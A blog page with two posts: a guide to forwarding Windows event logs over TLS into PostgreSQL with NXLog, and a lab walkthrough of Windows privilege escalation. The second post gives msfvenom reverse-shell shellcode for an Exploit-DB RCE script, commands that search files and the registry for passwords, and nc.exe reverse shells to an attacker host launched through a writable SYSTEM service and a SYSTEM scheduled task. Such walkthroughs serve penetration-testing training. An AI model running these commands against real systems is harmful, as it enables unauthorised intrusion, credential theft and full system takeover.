PoC on Centralizing Windows Logs to PostgreSQL DB (via NXLog)

PoC on Centralizing Windows Logs to PostgreSQL DB (via NXLog)

Advertisements

In this Proof of Concept, it is trying to provide a skeleton for a secure, simple and friendly centralized log management solution for Windows events. The skeleton has the below features:

  1. The software components of the skeleton (i.e. Linux, NXLog Community Edition, PostgreSQL DBMS) are free in principle.
  2.  The log transmission between the agent and server are secured by TLS.
  3. The centralized log Database could be the friendly input of your SIEM solution.

Prerequisites for performing this Proof of Concept (PoC):

In this PoC, the lab environment is setup as below:

20171002_02b

Working Mechanism

  1. Forward MS Windows Event Log as Syslog over TLS from Windows Workstation (192.168.153.152) to Ubuntu Server (192.168.153.150)
  2. Ubuntu Server will insert any received Syslog to PostgreSQL server

Configuration

[Ubuntu Server Setup]

    1. Install NXLog Community Edition (The steps should be straightforward, please download the corresponding deb from https://nxlog.co/products/nxlog-community-edition/download)
    2. Install libdbd-pgsql

      sudo apt-get install libdbd-pgsql

      20171002_03a

    3. Create the required database and table in PostgreSQL

      CREATE DATABASE logdb;

      20171002_04c

      \connect logdb

      CREATE TABLE log (
      id serial,
      timestamp timestamp not null,
      hostname varchar(32) default NULL,
      sourceip varchar(128) default NULL,
      severity varchar(16) default NULL,
      logger varchar(16) default NULL,
      eventid varchar(8) default NULL,
      category varchar(64) default NULL,
      message text,
      PRIMARY KEY (id)
      );

      20171002_05c

    4. Modify the NXLog configuration file located at /etc/nxlog/nxlog.conf as below:

      User nxlog
      Group nxlog

      LogFile /var/log/nxlog/nxlog.log
      LogLevel INFO

      <Extension _syslog>
      Module xm_syslog
      </Extension>

      <Extension exec>
      Module xm_exec
      </Extension>

      <Input in>
      Module im_ssl
      Exec if $raw_event =~ /.*{“EventTime”:”(.*)”,”Hostname”:”(.*)”,”Keywords”:(.*),”EventType”:”(.*)”,”SeverityValue”:(.*),”Severity”:”(.*)”,”EventID”:(.*),”SourceName”:”(.*)”,”ProviderGuid”:”(.*)”,”Version”:(.*),”Task”:(.*),”OpcodeValue”:(.*),”RecordNumber”:(.*),”ProcessID”:(.*),”ThreadID”:(.*),”Channel”:”(.*)”,”Message”:”(.*)”,”EventReceivedTime”:”(.*)”,”SourceModuleName”:”(.*)”,”SourceModuleType”:”(.*)”\}/ \
      { \
      $EventTime = $1; \
      $Hostname = $2; \
      $Severity = $6; \
      $logger = $20; \
      $EventTime = $1; \
      $category = $8; \
      $eventid = $7; \
      $Message = $17; \
      }
      Host 0.0.0.0
      Port 514
      CAFile /home/crsoc/ca/cacert.pem
      CertFile /home/crsoc/ca/servercert.pem
      CertKeyFile /home/crsoc/ca/serverkey.pem
      InputType LineBased
      </Input>

      <Output dbi>
      Module om_dbi
      SQL         INSERT INTO log (timestamp, hostname, sourceip, severity, logger, eventid, category, message) \
      VALUES ($EventTime, $Hostname, $MessageSourceAddress, $Severity, $logger, $eventid, $category, $Message)
      Driver pgsql
      Option host 127.0.0.1
      Option username postgres
      Option password yourpassword
      Option dbname logdb
      </Output>

      <Route 1>
      Path in => dbi
      </Route>

      20171010_01
      For the parameters CAFile, CertFile, CertKeyFile under <Input in>, please provide / generate them by openssl on your own.

      Besides, please also change the network port and DB connection parameters to fir your actual operations.

      Also, be aware that the spacing in the nxlog.conf is sensitive. It is good to start editing from the sample config file.

      As a simple explanation of the above nxlog.conf:
      – <Input in> defines how the log will be input (i.e. syslog TLS in this PoC)
      – <Output dbi> defines how the log will be output / process (i.e. write to PostgreSQL DB in this PoC)
      – <Route 1> defines the routing after input (in the PoC, we use simple routing, log will be routed to <Output dbi> once received from <Input in>

    5. Restart NXLog

      service nxlog restart

      20171002_08

[Windows Workstation Setup]

    1. Install NXLog Community Edition into your Windows Server / Workstation, (The steps should be straightforward, please download the corresponding deb from https://nxlog.co/products/nxlog-community-edition/download)
    2. Modify the NXLog configuration file located at C:\Program Files (x86)\nxlog\conf as below:

      define ROOT C:\Program Files (x86)\nxlog

      Moduledir %ROOT%\modules
      CacheDir %ROOT%\data
      Pidfile %ROOT%\data\nxlog.pid
      SpoolDir %ROOT%\data
      LogFile %ROOT%\data\nxlog.log

      <Extension _syslog>
      Module      xm_syslog
      </Extension>

      <Extension json>
      Module      xm_json
      </Extension>

      <Extension exec>
      Module      xm_exec
      </Extension>

      <Input in>
      Module      im_msvistalog
      Exec        $Message = to_json(); to_syslog_bsd();
      SavePos TRUE
      ReadFromLast TRUE
      Query       <QueryList>\
      <Query Id=”0″>\
      <Select Path=”Application”>*</Select>\
      <Select Path=”System”>*</Select>\
      <Select Path=”Security”>*</Select>\
      </Query>\
      </QueryList>
      </Input>

      <Output out>
      Module      om_ssl
      Host        192.168.153.150
      Port        514
      CAFile C:\cert\cacert.pem
      CertFile C:\cert\clientcert.pem
      CertKeyFile C:\cert\clientkey.pem
      AllowUntrusted TRUE
      </Output>

      <Route 1>
      Path        in => out
      </Route>

      For the parameters CAFile, CertFile, CertKeyFile under <Input in>, please provide / generate them by openssl on your own, which should be match with CAFile for the centralised log server.

      Besides, please also change the network port and DB connection parameters to fir your actual operations.

    3. Restart NXLog
      20171010_02

Test Run the PoC

  1. In (log client) Windows host, try to enable some Windows Audit Policy and trigger some events
    20171010_03
  2. Login to the PostgreSQL DB to check if there is new data write to our defined table

    select * from log;

    20171010_04a
    20171010_04
    Bingo!

Conclusion

For large scale deployment, you could consider to use Group Policy to deploy the NXLog-CE and the nxlog.conf to being monitor Windows hosts.

Furthermore, you could set the heartbeat for the NXLog agents to keep track the agents’ availability.

Please drop me a line if you have questions.

Thanks for reading!

Best regards
Henry

 

 

Quick Demo on Windows Local Privilege Escalation

Quick Demo on Windows Local Privilege Escalation

Warning: DO NOT attempt to perform any unauthorized testing.

Prerequisites for performing this quick demo:

  • Kali Linux

In this quick demo, there is a known RCE vulnerability (EDB-ID: 42186) exist on our Windows target (IP: 192.168.153.147) within our  customized pentest lab environment.

Obtain Low-privilege Shell

  1. Obtain the PoC exploit script from Exploit DB https://www.exploit-db.com/exploits/42186/
  2. Modify the exploit script:
    By replacing the shellcode of line 24 – 61
    20170710-01
    with below shellcode generated from Kali (IP: 192.168.153.134) {to get the reverse shell}

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.153.134 LPORT=443 EXITFUNC=thread -e x86/alpha_mixed -f python -v shellcode

    20170710-02.jpg
    20170710-03

  3. Setup the attack listener

    nc -nlvp 443

    20170710-04

  4. Run the shell script and obtain the Low-privilege Shell

    python 42186.py 192.168.153.147

    20170710-05

    whoami

    the current user is vul10\dummy


Reconnaissance

User information
List all user

net user

20170710-06
Check the user group of obtained user vul10\dummy

net user dummy

20170710-07
According to the local group membership information, “dummy” should have no administrative privilege.

Let’s check another interesting account “vul10”

net user vul10

20170710-08
According to the local group membership information, “vul10” belongs to “Administrators” group and it should have administrative privilege.

OS Information
Find out OS version

systeminfo | findstr /B /C:”OS Name” /C:”OS Version”

20170710-09
Active Connection
Show active connection (especially listening ports

netstat -ano

20170710-10
Check Windows Patch Level
Use “wmic” (a command line command to query WMI entries) to check applied Windows patches

wmic qfe get Caption,Description,HotFixID,InstalledOn

20170710-11

Search file system for file names containing certain keywords
Search all accessible files with file names containing defined keywords (i.e. pass, admin) under identified “interesting directory” {The output could be a lot and not easy to spot the “interesting file(s)” if it is started from the root directory c:\ }

dir /s *pass* == *admin*

20170710-12
Search plain text file content containing certain keywords
Search all accessible plain text files (*.xml *.ini *.txt) with content containing defined keywords (i.e. password) under identified “interesting directory” {The output could be a lot and not easy to spot the “interesting file(s)” if it is started from the root directory c:\ }

findstr /si password *.xml *.ini *.txt

20170710-13
Search registry containing certain keywords
Search HKLM & HKCU with registry values containing defined keywords (i.e. password) {The output could be a lot and if the keyword is too general} 

reg query HKLM /f password /t REG_SZ /s

20170710-14

reg query HKCU /f password /t REG_SZ /s

20170710-15
Review running processes
Lists all the service information for each process

tasklist /SVC

20170710-21

Besides the above reconnaissance, some more checks could be done as well, e.g.:

  • Firewall status

    netsh firewall show state
    netsh firewall show config

  • network interfaces

    ipconfig /all

  • Windows unattended setup configuration files, e.g.
    c:\sysprep.inf
    c:\sysprep\sysprep.xml

In this quick demo, those detail will not be gone through.


Windows Local Privilege Escalation
Sometimes the Local Privilege Escalation could be achieved by using CVE, this demo will NOT go through that direction, but put the focus in mis-configuration (mainly related to access permission).

    1. Access rights checking
      The goal of access rights checking is to find out if the obtained low privilege permissions could escalate to system / admin privilege. AccessChk from Microsoft (https://technet.microsoft.com/en-us/sysinternals/accesschk) is a useful tool for checking access permission in Windows CMD environment.Download the AccessChk to Kali (for convenience in next step to put the file to the target machine, downloading the file directly to the Kali FTP home directory could be a good option)

      wget https://download.sysinternals.com/files/AccessChk.zipunzip AccessChk.zip

      20170710-16
      The standard output from an interactive program (e.g. FTP) is often not redirected correctly to the shell, it will cause timed out, or shell disconnect.

      Therefore, it is required to transfer the file accesschk.exe  and nc.exe (prepare for reverse admin shell setup) over FTP non-interactively to the Target machine from Kali.

      echo open 192.168.153.134 21> ftp.txt
      echo USER offsec password>> ftp.txt
      echo bin>> ftp.txt
      echo GET nc.exe>> ftp.txt
      echo GET accesschk.exe>> ftp.txt
      echo bye>> ftp.txt

      ftp -v -n -s:ftp.txt

      20170710-17
      20170710-18
      EULA must be accepted for the first time use.

      accesschk /accepteula

      20170710-19

      Let’s check if any Windows services could allow low privilege user (i.e. “Authenticated Users”) to have write access.

      accesschk.exe -uwcqv “Authenticated Users” *

      20170710-20
      Woo! There is a service (i.e. “Admin_Log_Review“) that could be modified by “Authenticated Users”. (It could be potentially used for Local Privilege Escalation by manipulating the Windows services. Let’s come back to this in a later section!)

    2. Scheduled tasks checking
      The goal of scheduled tasks checking is to check if there is any scheduled scripts / executable files that we could manipulate them to escalate to system / admin privilege.List out all scheduled tasks

      schtasks /query /fo LIST /v

      20170710-22
      There is one interesting task named “Admin_log_record”, which run as user “SYSTEM“! And, the task is to run a BAT file “c:\vul_app\run.bat” for every 5 minutes.

      Let’s check the file permission of C:\vul_app\run.bat

      icacls “c:\vul_app\run.bat”

      20170710-23
      For detail of the permission mask, please refer to Microsoft official page (https://technet.microsoft.com/en-us/library/cc753525(v=ws.11).aspx) .

      From the above output, it means we could modify the file c:\vul_app\run.bat (as Authenticated Users)! (It could be potentially used for Local Privilege Escalation by manipulating the scheduled task “Admin_log_record” OR manipulating the content of the file c:\vul_app\run.bat . Let’s come back to this in a later section!)


    3. Windows services manipulation
      From the above reconnaissance, it is identified that Windows service “Admin_Log_Review” could be modified by current obtained privilege.Let’s query more detail of  Windows service “Admin_Log_Review”

      sc qc Admin_Log_Review

      20170710-24
      The Windows service “Admin_Log_Review” is run as “LocalSystem“!

      Let’s try to modify the service, so that a reverse shell with system privilege could be established back to Kali.

      a) change the BINARY_PATH_NAME

      sc config Admin_Log_Review binpath= “C:\Users\dummy\temp\nc.exe -nv 192.168.153.134 80 -e C:\WINDOWS\System32\cmd.exe”

      b) review if the changes is made

      sc qc Admin_Log_Review

      20170710-27
      c) setup the attack listener at another available network port (e.g. 80/tcp) in Kali

      nc -nlvp 80

      20170710-26
      d) restart the Windows service “Admin_Log_Review”

      net stop Admin_Log_Review
      net start Admin_Log_Review

      20170710-28
      Bingo! system privileges is obtained!

    4. Scheduled task manipulation
      Let’s try to obtain the system privileges in another way. From the above reconnaissance, it is identified that the scheduled task “Admin_log_record” is run as user “SYSTEM” and the task is to execute the BAT file “c:\vul_app\run.bat” for every 5 minutes.Review the content of the BAT file “c:\vul_app\run.bat”

      type c:\vul_app\run.bat

      20170710-29
      From the content of the BAT file, it should be used by system admin to record the status of network connections and listening ports information. Anyway, the content is not really important 🙂

      In order to make use of this scheduled task to obtain system privileges, the below command should be appended to c:\vul_app\run.bat

      echo. >> c:\vul_app\run.bat

      echo C:\Users\dummy\temp\nc.exe -nv 192.168.153.134 80 -e C:\WINDOWS\System32\cmd.exe >> c:\vul_app\run.bat

      (The first line “echo.” is to add a blank new line to avoid any error)
      20170710-31

      Review the modified c:\vul_app\run.bat

      type c:\vul_app\run.bat

      20170710-32

      In order to trigger the reverse shell:
      either wait for the next run (around 5 minutes or below) of the scheduled task
      either run the task immediately by the below command

      schtasks /Run /TN Admin_log_record

      20170710-33
      Bingo! system privileges is obtained!


      Conclusion

      There are many possible ways to escalate the low privilege to system / admin Privilege, ‘the only limit is your imagination’  🙂

      Thanks for reading!

      Best regards
      Henry